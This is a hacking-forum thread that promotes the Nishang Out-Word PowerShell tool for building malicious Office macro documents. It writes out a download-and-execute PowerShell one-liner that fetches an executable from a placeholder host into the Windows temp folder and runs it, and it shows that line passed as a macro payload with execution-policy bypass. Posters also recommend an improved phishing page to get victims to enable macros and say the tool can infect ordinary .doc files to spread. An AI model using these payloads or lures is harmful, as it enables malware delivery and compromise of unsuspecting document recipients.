Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Open Source Office Macro Builder -- Nishang Out-Word

Stop Paying for Macro builders, when you could get it for free and open source.

Part of Nishang, a framework of powershell tools for pen testing.

Doc Macro builder: https://github.com/samratashok/nishang/b...t-Word.ps1

Powershell command to download to temp folder and run:

(New-Object System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe'
more explanation on how this can be used. just a .ps1 on github
Security is an illusion, insecurity is not a deception
Download the file then open a powershell terminal cd into the download folder and "include" the file by running

. .\Out-Word.ps1

Then you can run it with any parameters by
Out-File -Paylod "powershell.exe -noni -exec bypass -nop (New-Object System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe' -OurputFile test.doc

It includes a simple phishing page to get the user to enable macros, but you would want to replace this with something more bettee

Here is a decent guide: http://www.labofapenetrationtester.com/2...chive.html

It can also "infect" regular .docs and can be executed client side to spread the virus
Looks cool.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by bay.albatrosFeb 8, 2026 07:33 AM 7 758 Feb 8, 2026 07:33 AM
Last Post: bay.albatros
by bay.albatrosDec 16, 2025 12:11 PM 1 286 Dec 16, 2025 12:11 PM
Last Post: DewGho
by bay.albatrosNov 30, 2025 12:49 PM 0 206 Nov 30, 2025 12:49 PM
Last Post: bay.albatros